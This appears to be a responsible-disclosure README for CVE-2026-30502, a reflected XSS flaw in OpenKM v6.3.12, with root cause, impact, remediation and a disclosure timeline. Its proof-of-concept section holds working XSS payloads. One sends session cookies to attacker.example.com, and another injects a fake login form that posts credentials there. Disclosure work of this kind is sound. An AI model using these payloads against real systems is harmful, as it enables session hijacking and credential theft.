
Documentation and proof-of-concept for CVE-2026-30502, a reflected XSS vulnerability in OpenKM v6.3.12. Includes technical analysis, root cause, impact assessment, and remediation guidance for security researchers and penetration testers.
Discovered & Reported by Dharmendra Kumar — Security Researcher
Cybersecurity | Penetration Testing | Vulnerability Research | Responsible Disclosure
This repository documents the responsible disclosure of CVE-2026-30502, a Reflected Cross-Site Scripting (XSS) vulnerability identified in OpenKM v6.3.12 — a widely deployed open-source document management system used across enterprise and government environments.
The vulnerability exists in the Content parameter, which reflects user-supplied input back to the browser without proper sanitization or output encoding. An attacker can craft a malicious URL containing embedded JavaScript and social-engineer a victim into clicking it, resulting in script execution within the victim's browser session.
⚠️ Severity: Medium–High | Attack Vector: Network | Privileges Required: None | User Interaction: Required
OpenKM is a free and open-source document management system (DMS) providing a web interface for managing, auditing, and distributing business documents. It is used by enterprises, government bodies, and educational institutions worldwide.
v6.3.12A Reflected Cross-Site Scripting (XSS) vulnerability was identified in OpenKM v6.3.12 via the Content parameter. The application fails to validate or encode user-supplied input before reflecting it back in the HTTP response body, allowing arbitrary JavaScript to be injected and executed in the victim's browser.
Unlike Stored XSS, a Reflected XSS payload is not persisted in the database — instead, it rides within a crafted URL. The attack relies on the victim being tricked into clicking a malicious link (delivered via email, social media, or phishing campaigns), after which the payload executes silently in their browser with the victim's session context.
Attacker crafts malicious URL
│
▼
Victim clicks the link (phishing / social engineering)
│
▼
Browser sends GET/POST request with payload in `Content` parameter
│
▼
OpenKM reflects unsanitized input directly into HTML response
│
▼
Browser parses & executes injected JavaScript
│
▼
Session hijacked / credentials harvested / account compromised
The vulnerability results from the application's failure to enforce input-output security controls on the Content parameter:
User-Crafted URL ──► Content Parameter ──► [NO Validation]
──► Reflected in HTML Response ──► [NO Encoding]
──► Browser Executes Script ──► Account Compromised
A successful exploitation of this vulnerability can lead to:
⚠️ Disclaimer: The following information is shared strictly for educational and security research purposes under responsible disclosure principles. Do not test or use this against systems you do not own or have explicit written authorization to assess.
// Basic execution proof
<script>alert('CVE-2026-30502 - XSS by Dharmendra Kumar')</script>
// Session cookie exfiltration
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
// Credential phishing overlay
<script>
var d=document.createElement('div');
d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
+'<input name="u" placeholder="Username"/>'
+'<input name="p" type="password" placeholder="Password"/>'
+'<button>Sign In</button></form>';
document.body.prepend(d);
</script>
https://target-openkm-instance/[vulnerable-endpoint]?Content=<script>alert(1)</script>
Content parameterContent parameterFull responsible disclosure principles were followed throughout this process, including vendor coordination and CVE Program engagement prior to any public release.
Security Researcher | Penetration Tester | Bug Hunter | CVE Contributor
Dharmendra Kumar is an independent cybersecurity researcher specializing in web application security, penetration testing, and responsible vulnerability disclosure. His research focuses on identifying and responsibly reporting real-world security flaws in widely-used software — contributing to safer applications for users globally.
Areas of Expertise:
Connect with me:
This repository is intended solely for educational and informational purposes. The vulnerability details and proof-of-concept payloads are published in accordance with responsible disclosure principles. The author does not condone or take responsibility for any unauthorized use of this information. Always obtain explicit written permission before conducting security testing on any system you do not own.
Special thanks to:
⭐ If this research helped you, please consider starring this repository.
Security research shared openly to make the web safer for everyone.
© 2026 Dharmendra Kumar — All Rights Reserved
| Field | Details |
|---|
| CVE ID | CVE-2026-30502 |
| Product | OpenKM |
| Affected Version | v6.3.12 |
| Vulnerability Class | Reflected Cross-Site Scripting (XSS) |
| Vulnerable Parameter | Content |
| CWE | CWE-79: Improper Neutralization of Input During Web Page Generation |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N |
| Severity | Medium–High |
| Publisher | MITRE CVE Program |
| Researcher | Dharmendra Kumar |
| Disclosure Type | Responsible / Coordinated |
| Weakness | Description |
|---|
| ❌ No Input Validation | The Content parameter accepts raw HTML/JavaScript characters without restriction or filtering |
| ❌ No Output Encoding | Reflected values are written into the HTML response without HTML-entity encoding |
| ❌ Missing CSP Header | No Content Security Policy is enforced to block inline script execution |
| ❌ No HTTPOnly Cookies | Session tokens are accessible via JavaScript, enabling direct cookie theft |
| Risk | Description |
|---|
| 🍪 Session Hijacking | Steal active session tokens via document.cookie to impersonate the victim |
| 🔑 Credential Harvesting | Inject fake login overlays to capture plaintext usernames and passwords |
| 📤 Information Disclosure | Exfiltrate sensitive document content, user data, or internal configurations |
| 🎣 Phishing Attacks | Serve convincing fake pages hosted within the trusted OpenKM domain |
| 👤 Account Takeover | Perform arbitrary authenticated actions on behalf of the victim |
| ⚙️ Unauthorized Actions | Modify, delete, or exfiltrate documents within the DMS |
| 🖥️ Malware Distribution | Redirect victims to attacker-controlled sites hosting malicious downloads |
| Recommendation | Implementation |
|---|
| ✅ Input Validation | Reject or strip HTML special characters (<, >, ", ', ;) from all user-controlled parameters |
| ✅ Output Encoding | Apply context-aware HTML encoding using libraries like OWASP Java Encoder before rendering reflected data |
| ✅ Content Security Policy | Deploy a strict CSP header: Content-Security-Policy: default-src 'self'; script-src 'self' |
| ✅ HTTPOnly Cookies | Set HttpOnly and Secure flags on all session cookies to block JavaScript access |
| ✅ Security Libraries | Integrate OWASP AntiSamy or DOMPurify for robust sanitization |
| ✅ Upgrade | Apply the latest vendor-released security patch immediately |
| Date | Event |
|---|
| 🔍 Discovery | Vulnerability identified during security assessment of OpenKM v6.3.12 |
| 📧 Vendor Notification | Responsible disclosure report submitted to OpenKM security team |
| 🤝 Vendor Acknowledgment | OpenKM team acknowledged the vulnerability report |
| 📝 CVE Assignment | CVE-2026-30502 assigned through the MITRE CVE Program |
| 🌐 Public Disclosure | Coordinated public disclosure following remediation period |